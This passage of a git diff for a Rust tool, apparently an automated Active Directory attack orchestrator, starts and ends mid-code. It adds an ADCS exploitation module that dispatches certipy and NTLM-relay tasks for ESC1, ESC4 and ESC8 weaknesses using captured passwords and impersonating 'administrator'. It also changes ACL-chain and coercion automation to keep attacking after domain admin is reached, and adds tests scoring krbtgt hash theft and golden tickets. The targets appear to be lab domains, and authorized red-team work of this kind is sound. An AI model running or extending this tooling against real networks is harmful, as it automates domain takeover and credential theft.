assert!(contoso.has_da); + assert_eq!(contoso.krbtgt_hash_types.len(), 2); + assert!(contoso.krbtgt_hash_types.contains(&"ntlm".to_string())); + assert!(contoso.krbtgt_hash_types.contains(&"aes256".to_string())); + } + + #[test] + fn test_build_domain_achievements_administrator_hash() { + let state = empty_state(); + let hashes = vec![make_hash("Administrator", "contoso.local", "ntlm")]; + + let achievements = build_domain_achievements(&state, &hashes, &[]); + let contoso = achievements.get("contoso.local").unwrap(); + assert!(contoso.has_da); + assert!(contoso.admin_users.contains(&"administrator".to_string())); + } + + #[test] + fn test_build_domain_achievements_admin_credential() { + let state = empty_state(); + let credentials = vec![make_credential("dadmin", "contoso.local", true)]; + + let achievements = build_domain_achievements(&state, &[], &credentials); + let contoso = achievements.get("contoso.local").unwrap(); + assert!(!contoso.has_da); // admin cred alone does not set has_da + assert!(contoso.admin_users.contains(&"dadmin".to_string())); + } + + #[test] + fn test_build_domain_achievements_golden_ticket_vuln() { + let mut state = empty_state(); + let mut details = HashMap::new(); + details.insert("domain".to_string(), json!("contoso.local")); + state.discovered_vulnerabilities.insert( + "gt-contoso".to_string(), + VulnerabilityInfo { + vuln_id: "gt-contoso".to_string(), + vuln_type: "golden_ticket".to_string(), + target: "192.168.58.10".to_string(), + discovered_by: "agent-1".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + }, + ); + + let achievements = build_domain_achievements(&state, &[], &[]); + let contoso = achievements.get("contoso.local").unwrap(); + assert!(contoso.has_golden_ticket); + } + + #[test] + fn test_build_domain_achievements_multi_domain() { + let mut state = empty_state(); + state + .netbios_to_fqdn + .insert("fabrikam".to_string(), "fabrikam.local".to_string()); + + let hashes = vec![ + make_hash("krbtgt", "contoso.local", "ntlm"), + make_hash("Administrator", "fabrikam.local", "ntlm"), + ]; + let credentials = vec![make_credential("svc_admin", "fabrikam.local", true)]; + + let achievements = build_domain_achievements(&state, &hashes, &credentials); + assert!(achievements.contains_key("contoso.local")); + assert!(achievements.contains_key("fabrikam.local")); + + let contoso = achievements.get("contoso.local").unwrap(); + assert!(contoso.has_da); + + let fabrikam = achievements.get("fabrikam.local").unwrap(); + assert!(fabrikam.has_da); + assert!(fabrikam.admin_users.contains(&"administrator".to_string())); + assert!(fabrikam.admin_users.contains(&"svc_admin".to_string())); + } + + #[test] + fn test_build_domain_achievements_netbios_resolution() { + let mut state = empty_state(); + state + .netbios_to_fqdn + .insert("contoso".to_string(), "contoso.local".to_string()); + + // Hash domain is NetBIOS, should resolve via the map + let hashes = vec![make_hash("krbtgt", "contoso", "ntlm")]; + + let achievements = build_domain_achievements(&state, &hashes, &[]); + assert!(achievements.contains_key("contoso.local")); + let contoso = achievements.get("contoso.local").unwrap(); + assert!(contoso.has_da); + } + + #[test] + fn test_build_domain_achievements_empty_domain_skipped() { + let state = empty_state(); + let hashes = vec![make_hash("krbtgt", "", "ntlm")]; + + let achievements = build_domain_achievements(&state, &hashes, &[]); + assert!(achievements.is_empty()); + } + + // ----------------------------------------------------------------------- + // Domain/forest structure computation (inline in print_loot_human) + // ----------------------------------------------------------------------- + + /// Extract the domain/forest structure logic into a helper we can test. + fn compute_forest_structure( + domains_input: &[String], + ) -> (Vec, Vec, HashMap) { + let mut domains: Vec = domains_input + .iter() + .map(|d| d.trim().trim_end_matches('.').to_lowercase()) + .filter(|d| !d.is_empty()) + .collect(); + domains.sort(); + domains.dedup(); + + let mut forest_roots: Vec = Vec::new(); + let mut child_domains: HashMap = HashMap::new(); + for domain in &domains { + let parts: Vec<&str> = domain.split('.').collect(); + if parts.len() >= 3 { + let parent = parts[1..].join("."); + if domains.contains(&parent) { + child_domains.insert(domain.clone(), parent); + } else { + forest_roots.push(domain.clone()); + } + } else { + forest_roots.push(domain.clone()); + } + } + forest_roots.sort(); + (domains, forest_roots, child_domains) + } + + #[test] + fn test_forest_structure_single_domain() { + let input = vec!["contoso.local".to_string()]; + let (domains, roots, children) = compute_forest_structure(&input); + assert_eq!(domains, vec!["contoso.local"]); + assert_eq!(roots, vec!["contoso.local"]); + assert!(children.is_empty()); + } + + #[test] + fn test_forest_structure_parent_child() { + let input = vec![ + "contoso.local".to_string(), + "child.contoso.local".to_string(), + ]; + let (_domains, roots, children) = compute_forest_structure(&input); + assert_eq!(roots, vec!["contoso.local"]); + assert_eq!(children.len(), 1); + assert_eq!( + children.get("child.contoso.local").unwrap(), + "contoso.local" + ); + } + + #[test] + fn test_forest_structure_two_forests() { + let input = vec!["contoso.local".to_string(), "fabrikam.local".to_string()]; + let (_domains, roots, children) = compute_forest_structure(&input); + assert_eq!(roots, vec!["contoso.local", "fabrikam.local"]); + assert!(children.is_empty()); + } + + #[test] + fn test_forest_structure_dedup_and_normalization() { + let input = vec![ + "CONTOSO.LOCAL.".to_string(), + "contoso.local".to_string(), + " contoso.local ".to_string(), + ]; + let (domains, roots, _children) = compute_forest_structure(&input); + assert_eq!(domains, vec!["contoso.local"]); + assert_eq!(roots, vec!["contoso.local"]); + } + + #[test] + fn test_forest_structure_empty_strings_filtered() { + let input = vec![ + "".to_string(), + " ".to_string(), + "contoso.local".to_string(), + ]; + let (domains, roots, _children) = compute_forest_structure(&input); + assert_eq!(domains, vec!["contoso.local"]); + assert_eq!(roots, vec!["contoso.local"]); + } + + #[test] + fn test_forest_structure_orphan_subdomain() { + // subdomain without its parent in the list: treated as a forest root + let input = vec!["sub.contoso.local".to_string()]; + let (_domains, roots, children) = compute_forest_structure(&input); + assert_eq!(roots, vec!["sub.contoso.local"]); + assert!(children.is_empty()); + } +} diff --git a/ares-cli/src/orchestrator/automation/acl.rs b/ares-cli/src/orchestrator/automation/acl.rs index 29fbf748..134cb143 100644 --- a/ares-cli/src/orchestrator/automation/acl.rs +++ b/ares-cli/src/orchestrator/automation/acl.rs @@ -30,11 +30,14 @@ pub async fn auto_acl_chain_follow( break; } - // Skip only when ALL forests are dominated — ACL chains in - // undominated forests must still be followed after initial DA. + // Skip only when ALL forests are dominated AND strategy says to stop. + // When continue_after_da is true, keep following ACL chains for path diversity. { let state = dispatcher.state.read().await; - if state.has_domain_admin && state.all_forests_dominated() { + if state.has_domain_admin + && state.all_forests_dominated() + && !dispatcher.config.strategy.should_continue_after_da() + { continue; } } @@ -121,8 +124,9 @@ pub async fn auto_acl_chain_follow( }, }); + let priority = dispatcher.effective_priority("acl_abuse"); match dispatcher - .throttled_submit("acl_chain_step", "acl", payload, 4) + .throttled_submit("acl_chain_step", "acl", payload, priority) .await { Ok(Some(task_id)) => { diff --git a/ares-cli/src/orchestrator/automation/adcs.rs b/ares-cli/src/orchestrator/automation/adcs.rs index 4a9022d3..78f0a874 100644 --- a/ares-cli/src/orchestrator/automation/adcs.rs +++ b/ares-cli/src/orchestrator/automation/adcs.rs @@ -47,9 +47,43 @@ pub async fn auto_adcs_enumeration( .iter() .filter(|s| s.name.to_lowercase() == "certenroll") .filter(|s| !state.is_processed(DEDUP_ADCS_SERVERS, &s.host)) - .map(|s| { - let domain = state.domains.first().cloned().unwrap_or_default(); - (s.host.clone(), domain, cred.clone()) + .filter_map(|s| { + // Resolve the domain for this ADCS host by matching the + // host's FQDN against known domains, or finding which DC + // subnet the host belongs to. Falls back to first domain. + let host_lower = s.host.to_lowercase(); + let domain = state + .hosts + .iter() + .find(|h| h.ip == s.host || h.hostname.to_lowercase() == host_lower) + .and_then(|h| { + // Extract domain from FQDN: braavos.essos.local → essos.local + let fqdn = h.hostname.to_lowercase(); + fqdn.split_once('.').map(|(_, d)| d.to_string()) + }) + .and_then(|d| { + // Verify it's a known domain + if state.domains.iter().any(|known| known.to_lowercase() == d) { + Some(d) + } else { + // Try parent match (e.g. child.contoso.local → contoso.local) + state + .domains + .iter() + .find(|known| { + d.ends_with(&format!(".{}", known.to_lowercase())) + }) + .or_else(|| { + state.domains.iter().find(|known| { + known.to_lowercase().ends_with(&format!(".{d}")) + }) + }) + .cloned() + .or(Some(d)) + } + }) + .or_else(|| state.domains.first().cloned())?; + Some((s.host.clone(), domain, cred.clone())) }) .collect() }; diff --git a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs new file mode 100644 index 00000000..d5070e2a --- /dev/null +++ b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs @@ -0,0 +1,851 @@ +//! auto_adcs_exploitation -- exploit discovered ADCS vulnerabilities (ESC1/ESC4/ESC8). +//! +//! After `auto_adcs_enumeration` dispatches `certipy_find` and the result +//! processor populates `discovered_vulnerabilities` with ADCS vuln types +//! (esc1, esc4, esc8, etc.), this automation dispatches the corresponding +//! exploitation tasks via `certipy req` / `certipy template` / relay. +//! +//! Each ESC type has its own exploitation flow: +//! - **ESC1**: `certipy req -template -upn administrator@ -ca ` +//! - **ESC4**: `certipy template -template -save-old` → modify to ESC1 → request cert → restore +//! - **ESC8**: NTLM relay to HTTP enrollment (coerce DC → relay to ADCS web endpoint) + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; + +/// Dedup key prefix for ADCS exploitation. +const DEDUP_ADCS_EXPLOIT: &str = "adcs_exploit"; + +/// ADCS vulnerability types we know how to exploit. +const EXPLOITABLE_ESC_TYPES: &[&str] = &[ + "esc1", + "esc4", + "esc8", + "adcs_esc1", + "adcs_esc4", + "adcs_esc8", +]; + +/// Monitors for discovered ADCS vulnerabilities and dispatches exploitation tasks. +/// Interval: 30s. +pub async fn auto_adcs_exploitation( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + // Skip when fully dominated and strategy says stop. + { + let state = dispatcher.state.read().await; + if state.has_domain_admin + && state.all_forests_dominated() + && !dispatcher.config.strategy.should_continue_after_da() + { + continue; + } + } + + let work: Vec = { + let state = dispatcher.state.read().await; + + state + .discovered_vulnerabilities + .values() + .filter_map(|vuln| { + let vtype = vuln.vuln_type.to_lowercase(); + + // Only handle ADCS ESC types + if !EXPLOITABLE_ESC_TYPES.contains(&vtype.as_str()) { + return None; + } + + // Normalize to short form (esc1, esc4, esc8) + let esc_type = vtype.strip_prefix("adcs_").unwrap_or(&vtype).to_string(); + + // Check technique allowed by strategy + if !dispatcher.is_technique_allowed(&esc_type) { + return None; + } + + // Already exploited? + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + return None; + } + + let dedup_key = format!("{DEDUP_ADCS_EXPLOIT}:{}", vuln.vuln_id); + if state.is_processed(DEDUP_ADCS_EXPLOIT, &dedup_key) { + return None; + } + + // Extract ADCS-specific details from the vulnerability + let ca_name = extract_ca_name(&vuln.details); + let template_name = extract_template_name(&vuln.details); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + let ca_host = extract_ca_host(&vuln.details, &vuln.target); + + // For ESC4, we need the account with GenericAll on the template + let account_name = extract_account_name(&vuln.details); + + // Find a credential for exploitation. + // For ESC4, prefer the account that has GenericAll on the template. + // For ESC1/ESC8, any authenticated user in the domain works. + let credential = account_name + .as_ref() + .and_then(|acct| { + state.credentials.iter().find(|c| { + c.username.to_lowercase() == acct.to_lowercase() + && (domain.is_empty() + || c.domain.to_lowercase() == domain.to_lowercase()) + }) + }) + .or_else(|| { + // Fall back to any credential for this domain + if !domain.is_empty() { + state.credentials.iter().find(|c| { + c.domain.to_lowercase() == domain.to_lowercase() + && !c.password.is_empty() + && !state.is_delegation_account(&c.username) + && !state.is_credential_quarantined(&c.username, &c.domain) + }) + } else { + state.credentials.iter().find(|c| { + !c.password.is_empty() + && !state.is_delegation_account(&c.username) + && !state.is_credential_quarantined(&c.username, &c.domain) + }) + } + }) + .cloned(); + + if credential.is_none() { + debug!( + vuln_id = %vuln.vuln_id, + esc_type = %esc_type, + "ADCS exploit skipped: no credential available" + ); + return None; + } + + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + + Some(AdcsExploitWork { + vuln_id: vuln.vuln_id.clone(), + dedup_key, + esc_type, + ca_name, + template_name, + ca_host, + domain, + dc_ip, + credential, + }) + }) + .collect() + }; + + for item in work { + let mut payload = json!({ + "technique": format!("adcs_{}", item.esc_type), + "vuln_type": format!("adcs_{}", item.esc_type), + "vuln_id": item.vuln_id, + "esc_type": item.esc_type, + "domain": item.domain, + "impersonate": "administrator", + }); + + if let Some(ref ca) = item.ca_name { + payload["ca_name"] = json!(ca); + } + if let Some(ref tmpl) = item.template_name { + payload["template"] = json!(tmpl); + } + if let Some(ref host) = item.ca_host { + payload["target_ip"] = json!(host); + payload["ca_host"] = json!(host); + } + if let Some(ref dc) = item.dc_ip { + payload["dc_ip"] = json!(dc); + } + + if let Some(ref cred) = item.credential { + payload["username"] = json!(cred.username); + payload["password"] = json!(cred.password); + payload["credential"] = json!({ + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }); + } + + // ESC8 uses coercion+relay, dispatch to coercion role. + // ESC1/ESC4 use certipy directly, dispatch to privesc role. + let role = role_for_esc_type(&item.esc_type); + + let priority = dispatcher.effective_priority(&format!("adcs_{}", item.esc_type)); + match dispatcher + .throttled_submit("exploit", role, payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + esc_type = %item.esc_type, + ca = ?item.ca_name, + template = ?item.template_name, + "ADCS exploitation dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_ADCS_EXPLOIT, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(vuln_id = %item.vuln_id, "ADCS exploit deferred by throttler"); + } + Err(e) => { + warn!( + err = %e, + vuln_id = %item.vuln_id, + esc_type = %item.esc_type, + "Failed to dispatch ADCS exploit" + ); + } + } + } + } +} + +/// Extract the CA name from vulnerability details, trying multiple key variants. +/// Falls through keys whose value is null or non-string. +fn extract_ca_name( + details: &std::collections::HashMap, +) -> Option { + for key in &["ca_name", "CA", "ca"] { + if let Some(s) = details.get(*key).and_then(|v| v.as_str()) { + return Some(s.to_string()); + } + } + None +} + +/// Extract the template name from vulnerability details, trying multiple key variants. +/// Falls through keys whose value is null or non-string. +fn extract_template_name( + details: &std::collections::HashMap, +) -> Option { + for key in &["template", "template_name", "Template"] { + if let Some(s) = details.get(*key).and_then(|v| v.as_str()) { + return Some(s.to_string()); + } + } + None +} + +/// Extract the CA host from vulnerability details, falling back to the vuln target. +/// Returns `None` if the resulting string would be empty. +fn extract_ca_host( + details: &std::collections::HashMap, + target: &str, +) -> Option { + details + .get("ca_host") + .or_else(|| details.get("ca_ip")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + .or_else(|| Some(target.to_string())) + .filter(|s| !s.is_empty()) +} + +/// Extract the account name from vulnerability details (used for ESC4 GenericAll). +fn extract_account_name( + details: &std::collections::HashMap, +) -> Option { + details + .get("account_name") + .or_else(|| details.get("source")) + .or_else(|| details.get("enrollee")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) +} + +/// Determine the dispatch role for a given ESC type. +/// ESC8 uses coercion+relay (coercion role), while ESC1/ESC4 use certipy directly (privesc role). +fn role_for_esc_type(esc_type: &str) -> &'static str { + if esc_type == "esc8" { + "coercion" + } else { + "privesc" + } +} + +struct AdcsExploitWork { + vuln_id: String, + dedup_key: String, + esc_type: String, + ca_name: Option, + template_name: Option, + ca_host: Option, + domain: String, + dc_ip: Option, + credential: Option, +} + +#[cfg(test)] +mod tests { + use super::*; + use std::collections::HashMap; + + /// Normalize an ADCS vulnerability type to its short form (e.g. "adcs_esc1" -> "esc1"). + fn normalize_esc_type(vtype: &str) -> String { + let lower = vtype.to_lowercase(); + lower.strip_prefix("adcs_").unwrap_or(&lower).to_string() + } + + /// Check whether a vulnerability type is an exploitable ADCS ESC type. + fn is_exploitable_esc_type(vtype: &str) -> bool { + EXPLOITABLE_ESC_TYPES.contains(&vtype.to_lowercase().as_str()) + } + + #[test] + fn test_exploitable_esc_types() { + for &t in EXPLOITABLE_ESC_TYPES { + assert!( + t.contains("esc"), + "All exploitable types should contain 'esc': {t}" + ); + } + } + + // ----------------------------------------------------------------------- + // is_exploitable_esc_type + // ----------------------------------------------------------------------- + + #[test] + fn test_is_exploitable_esc_type_positive() { + assert!(is_exploitable_esc_type("esc1")); + assert!(is_exploitable_esc_type("esc4")); + assert!(is_exploitable_esc_type("esc8")); + assert!(is_exploitable_esc_type("adcs_esc1")); + assert!(is_exploitable_esc_type("adcs_esc4")); + assert!(is_exploitable_esc_type("adcs_esc8")); + } + + #[test] + fn test_is_exploitable_esc_type_case_insensitive() { + assert!(is_exploitable_esc_type("ESC1")); + assert!(is_exploitable_esc_type("ADCS_ESC4")); + assert!(is_exploitable_esc_type("Esc8")); + assert!(is_exploitable_esc_type("Adcs_Esc1")); + } + + #[test] + fn test_is_exploitable_esc_type_negative() { + assert!(!is_exploitable_esc_type("esc2")); + assert!(!is_exploitable_esc_type("esc3")); + assert!(!is_exploitable_esc_type("rbcd")); + assert!(!is_exploitable_esc_type("shadow_credentials")); + assert!(!is_exploitable_esc_type("genericall")); + assert!(!is_exploitable_esc_type("")); + assert!(!is_exploitable_esc_type("adcs_esc2")); + } + + // ----------------------------------------------------------------------- + // normalize_esc_type + // ----------------------------------------------------------------------- + + #[test] + fn test_normalize_esc_type_strips_prefix() { + assert_eq!(normalize_esc_type("adcs_esc1"), "esc1"); + assert_eq!(normalize_esc_type("adcs_esc4"), "esc4"); + assert_eq!(normalize_esc_type("adcs_esc8"), "esc8"); + } + + #[test] + fn test_normalize_esc_type_no_prefix() { + assert_eq!(normalize_esc_type("esc1"), "esc1"); + assert_eq!(normalize_esc_type("esc4"), "esc4"); + assert_eq!(normalize_esc_type("esc8"), "esc8"); + } + + #[test] + fn test_normalize_esc_type_case_insensitive() { + assert_eq!(normalize_esc_type("ADCS_ESC1"), "esc1"); + assert_eq!(normalize_esc_type("ESC4"), "esc4"); + assert_eq!(normalize_esc_type("Adcs_Esc8"), "esc8"); + } + + #[test] + fn test_normalize_esc_type_non_adcs_prefix() { + // Only "adcs_" prefix is stripped, not other prefixes + assert_eq!(normalize_esc_type("vuln_esc1"), "vuln_esc1"); + } + + // ----------------------------------------------------------------------- + // extract_ca_name + // ----------------------------------------------------------------------- + + #[test] + fn test_extract_ca_name_primary_key() { + let mut details = HashMap::new(); + details.insert( + "ca_name".to_string(), + serde_json::Value::String("contoso-DC01-CA".to_string()), + ); + assert_eq!( + extract_ca_name(&details), + Some("contoso-DC01-CA".to_string()) + ); + } + + #[test] + fn test_extract_ca_name_fallback_uppercase_ca() { + let mut details = HashMap::new(); + details.insert( + "CA".to_string(), + serde_json::Value::String("contoso-CA".to_string()), + ); + assert_eq!(extract_ca_name(&details), Some("contoso-CA".to_string())); + } + + #[test] + fn test_extract_ca_name_fallback_lowercase_ca() { + let mut details = HashMap::new(); + details.insert( + "ca".to_string(), + serde_json::Value::String("fabrikam-CA".to_string()), + ); + assert_eq!(extract_ca_name(&details), Some("fabrikam-CA".to_string())); + } + + #[test] + fn test_extract_ca_name_priority_order() { + let mut details = HashMap::new(); + details.insert( + "ca_name".to_string(), + serde_json::Value::String("primary".to_string()), + ); + details.insert( + "CA".to_string(), + serde_json::Value::String("secondary".to_string()), + ); + details.insert( + "ca".to_string(), + serde_json::Value::String("tertiary".to_string()), + ); + assert_eq!(extract_ca_name(&details), Some("primary".to_string())); + } + + #[test] + fn test_extract_ca_name_empty_details() { + let details = HashMap::new(); + assert_eq!(extract_ca_name(&details), None); + } + + #[test] + fn test_extract_ca_name_non_string_value() { + let mut details = HashMap::new(); + details.insert("ca_name".to_string(), serde_json::Value::Number(42.into())); + assert_eq!(extract_ca_name(&details), None); + } + + #[test] + fn test_extract_ca_name_null_value() { + let mut details = HashMap::new(); + details.insert("ca_name".to_string(), serde_json::Value::Null); + assert_eq!(extract_ca_name(&details), None); + } + + #[test] + fn test_extract_ca_name_null_falls_through_to_next_key() { + // When "ca_name" key exists but is Null, as_str() returns None, + // so the function falls through to try "CA" next. + let mut details = HashMap::new(); + details.insert("ca_name".to_string(), serde_json::Value::Null); + details.insert( + "CA".to_string(), + serde_json::Value::String("fallback-CA".to_string()), + ); + assert_eq!(extract_ca_name(&details), Some("fallback-CA".to_string())); + } + + // ----------------------------------------------------------------------- + // extract_template_name + // ----------------------------------------------------------------------- + + #[test] + fn test_extract_template_name_primary_key() { + let mut details = HashMap::new(); + details.insert( + "template".to_string(), + serde_json::Value::String("ESC1-Vulnerable".to_string()), + ); + assert_eq!( + extract_template_name(&details), + Some("ESC1-Vulnerable".to_string()) + ); + } + + #[test] + fn test_extract_template_name_fallback_template_name() { + let mut details = HashMap::new(); + details.insert( + "template_name".to_string(), + serde_json::Value::String("User".to_string()), + ); + assert_eq!(extract_template_name(&details), Some("User".to_string())); + } + + #[test] + fn test_extract_template_name_fallback_pascal_case() { + let mut details = HashMap::new(); + details.insert( + "Template".to_string(), + serde_json::Value::String("Machine".to_string()), + ); + assert_eq!(extract_template_name(&details), Some("Machine".to_string())); + } + + #[test] + fn test_extract_template_name_priority_order() { + let mut details = HashMap::new(); + details.insert( + "template".to_string(), + serde_json::Value::String("first".to_string()), + ); + details.insert( + "template_name".to_string(), + serde_json::Value::String("second".to_string()), + ); + details.insert( + "Template".to_string(), + serde_json::Value::String("third".to_string()), + ); + assert_eq!(extract_template_name(&details), Some("first".to_string())); + } + + #[test] + fn test_extract_template_name_empty_details() { + let details = HashMap::new(); + assert_eq!(extract_template_name(&details), None); + } + + #[test] + fn test_extract_template_name_non_string_value() { + let mut details = HashMap::new(); + details.insert("template".to_string(), serde_json::Value::Bool(true)); + assert_eq!(extract_template_name(&details), None); + } + + // ----------------------------------------------------------------------- + // extract_ca_host + // ----------------------------------------------------------------------- + + #[test] + fn test_extract_ca_host_primary_key() { + let mut details = HashMap::new(); + details.insert( + "ca_host".to_string(), + serde_json::Value::String("192.168.58.10".to_string()), + ); + assert_eq!( + extract_ca_host(&details, "192.168.58.1"), + Some("192.168.58.10".to_string()) + ); + } + + #[test] + fn test_extract_ca_host_fallback_ca_ip() { + let mut details = HashMap::new(); + details.insert( + "ca_ip".to_string(), + serde_json::Value::String("192.168.58.20".to_string()), + ); + assert_eq!( + extract_ca_host(&details, "192.168.58.1"), + Some("192.168.58.20".to_string()) + ); + } + + #[test] + fn test_extract_ca_host_fallback_to_target() { + let details = HashMap::new(); + assert_eq!( + extract_ca_host(&details, "192.168.58.30"), + Some("192.168.58.30".to_string()) + ); + } + + #[test] + fn test_extract_ca_host_empty_target_returns_none() { + let details = HashMap::new(); + assert_eq!(extract_ca_host(&details, ""), None); + } + + #[test] + fn test_extract_ca_host_priority_order() { + let mut details = HashMap::new(); + details.insert( + "ca_host".to_string(), + serde_json::Value::String("192.168.58.10".to_string()), + ); + details.insert( + "ca_ip".to_string(), + serde_json::Value::String("192.168.58.20".to_string()), + ); + assert_eq!( + extract_ca_host(&details, "192.168.58.30"), + Some("192.168.58.10".to_string()) + ); + } + + #[test] + fn test_extract_ca_host_non_string_falls_to_target() { + let mut details = HashMap::new(); + details.insert("ca_host".to_string(), serde_json::Value::Number(42.into())); + assert_eq!( + extract_ca_host(&details, "192.168.58.40"), + Some("192.168.58.40".to_string()) + ); + } + + #[test] + fn test_extract_ca_host_hostname_value() { + let mut details = HashMap::new(); + details.insert( + "ca_host".to_string(), + serde_json::Value::String("dc01.contoso.local".to_string()), + ); + assert_eq!( + extract_ca_host(&details, "192.168.58.10"), + Some("dc01.contoso.local".to_string()) + ); + } + + // ----------------------------------------------------------------------- + // extract_account_name + // ----------------------------------------------------------------------- + + #[test] + fn test_extract_account_name_primary_key() { + let mut details = HashMap::new(); + details.insert( + "account_name".to_string(), + serde_json::Value::String("svc_adcs".to_string()), + ); + assert_eq!(extract_account_name(&details), Some("svc_adcs".to_string())); + } + + #[test] + fn test_extract_account_name_fallback_source() { + let mut details = HashMap::new(); + details.insert( + "source".to_string(), + serde_json::Value::String("testuser".to_string()), + ); + assert_eq!(extract_account_name(&details), Some("testuser".to_string())); + } + + #[test] + fn test_extract_account_name_fallback_enrollee() { + let mut details = HashMap::new(); + details.insert( + "enrollee".to_string(), + serde_json::Value::String("enrollee_user".to_string()), + ); + assert_eq!( + extract_account_name(&details), + Some("enrollee_user".to_string()) + ); + } + + #[test] + fn test_extract_account_name_priority_order() { + let mut details = HashMap::new(); + details.insert( + "account_name".to_string(), + serde_json::Value::String("first".to_string()), + ); + details.insert( + "source".to_string(), + serde_json::Value::String("second".to_string()), + ); + details.insert( + "enrollee".to_string(), + serde_json::Value::String("third".to_string()), + ); + assert_eq!(extract_account_name(&details), Some("first".to_string())); + } + + #[test] + fn test_extract_account_name_empty_details() { + let details = HashMap::new(); + assert_eq!(extract_account_name(&details), None); + } + + // ----------------------------------------------------------------------- + // role_for_esc_type + // ----------------------------------------------------------------------- + + #[test] + fn test_role_for_esc8_is_coercion() { + assert_eq!(role_for_esc_type("esc8"), "coercion"); + } + + #[test] + fn test_role_for_esc1_is_privesc() { + assert_eq!(role_for_esc_type("esc1"), "privesc"); + } + + #[test] + fn test_role_for_esc4_is_privesc() { + assert_eq!(role_for_esc_type("esc4"), "privesc"); + } + + #[test] + fn test_role_for_unknown_defaults_to_privesc() { + assert_eq!(role_for_esc_type("esc99"), "privesc"); + assert_eq!(role_for_esc_type("something_else"), "privesc"); + } + + // ----------------------------------------------------------------------- + // dedup key format + // ----------------------------------------------------------------------- + + #[test] + fn test_dedup_key_format() { + let vuln_id = "vuln-adcs-001"; + let dedup_key = format!("{DEDUP_ADCS_EXPLOIT}:{vuln_id}"); + assert_eq!(dedup_key, "adcs_exploit:vuln-adcs-001"); + } + + #[test] + fn test_dedup_key_unique_per_vuln() { + let key1 = format!("{DEDUP_ADCS_EXPLOIT}:vuln-001"); + let key2 = format!("{DEDUP_ADCS_EXPLOIT}:vuln-002"); + assert_ne!(key1, key2); + } + + // ----------------------------------------------------------------------- + // Integration-like: combined extraction from realistic details + // ----------------------------------------------------------------------- + + #[test] + fn test_esc1_full_extraction() { + let mut details = HashMap::new(); + details.insert( + "ca_name".to_string(), + serde_json::Value::String("contoso-DC01-CA".to_string()), + ); + details.insert( + "template".to_string(), + serde_json::Value::String("VulnTemplate".to_string()), + ); + details.insert( + "domain".to_string(), + serde_json::Value::String("contoso.local".to_string()), + ); + details.insert( + "ca_host".to_string(), + serde_json::Value::String("192.168.58.10".to_string()), + ); + details.insert( + "account_name".to_string(), + serde_json::Value::String("testuser".to_string()), + ); + + assert_eq!( + extract_ca_name(&details), + Some("contoso-DC01-CA".to_string()) + ); + assert_eq!( + extract_template_name(&details), + Some("VulnTemplate".to_string()) + ); + assert_eq!( + extract_ca_host(&details, "192.168.58.1"), + Some("192.168.58.10".to_string()) + ); + assert_eq!(extract_account_name(&details), Some("testuser".to_string())); + + let esc_type = normalize_esc_type("adcs_esc1"); + assert_eq!(esc_type, "esc1"); + assert_eq!(role_for_esc_type(&esc_type), "privesc"); + } + + #[test] + fn test_esc8_full_extraction() { + let mut details = HashMap::new(); + details.insert( + "CA".to_string(), + serde_json::Value::String("fabrikam-CA".to_string()), + ); + details.insert( + "ca_ip".to_string(), + serde_json::Value::String("192.168.58.20".to_string()), + ); + details.insert( + "domain".to_string(), + serde_json::Value::String("fabrikam.local".to_string()), + ); + + assert_eq!(extract_ca_name(&details), Some("fabrikam-CA".to_string())); + assert_eq!(extract_template_name(&details), None); + assert_eq!( + extract_ca_host(&details, "192.168.58.1"), + Some("192.168.58.20".to_string()) + ); + + let esc_type = normalize_esc_type("esc8"); + assert_eq!(esc_type, "esc8"); + assert_eq!(role_for_esc_type(&esc_type), "coercion"); + } + + #[test] + fn test_minimal_details_uses_target_fallback() { + let mut details = HashMap::new(); + details.insert( + "domain".to_string(), + serde_json::Value::String("contoso.local".to_string()), + ); + + assert_eq!(extract_ca_name(&details), None); + assert_eq!(extract_template_name(&details), None); + assert_eq!( + extract_ca_host(&details, "192.168.58.50"), + Some("192.168.58.50".to_string()) + ); + assert_eq!(extract_account_name(&details), None); + } +} diff --git a/ares-cli/src/orchestrator/automation/coercion.rs b/ares-cli/src/orchestrator/automation/coercion.rs index 1e89f4f8..272749de 100644 --- a/ares-cli/src/orchestrator/automation/coercion.rs +++ b/ares-cli/src/orchestrator/automation/coercion.rs @@ -24,36 +24,26 @@ pub async fn auto_coercion(dispatcher: Arc, mut shutdown: watch::Rec break; } + // Resolve listener IP: use the attacker's own IP from config. + // This is where ntlmrelayx binds — it MUST NOT be a target host. + let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => continue, // no listener IP available, skip coercion + }; + // Coerce DCs that haven't been coerced yet let work: Vec<(String, String)> = { let state = dispatcher.state.read().await; - // Find any host with unconstrained delegation as a listener - let _listener = state.hosts.iter().find(|h| { - h.roles - .iter() - .any(|r| r.to_lowercase().contains("unconstrained")) - }); - state .domain_controllers .iter() .filter(|(_, dc_ip)| !state.is_processed(DEDUP_COERCED_DCS, dc_ip)) + .filter(|(_, dc_ip)| dc_ip.as_str() != listener) // never coerce to self .map(|(domain, dc_ip)| (domain.clone(), dc_ip.clone())) .collect() }; for (domain, dc_ip) in work { - // Find a listener IP for the coercion (any host we own) - let listener_ip = { - let state = dispatcher.state.read().await; - state.hosts.iter().find(|h| h.owned).map(|h| 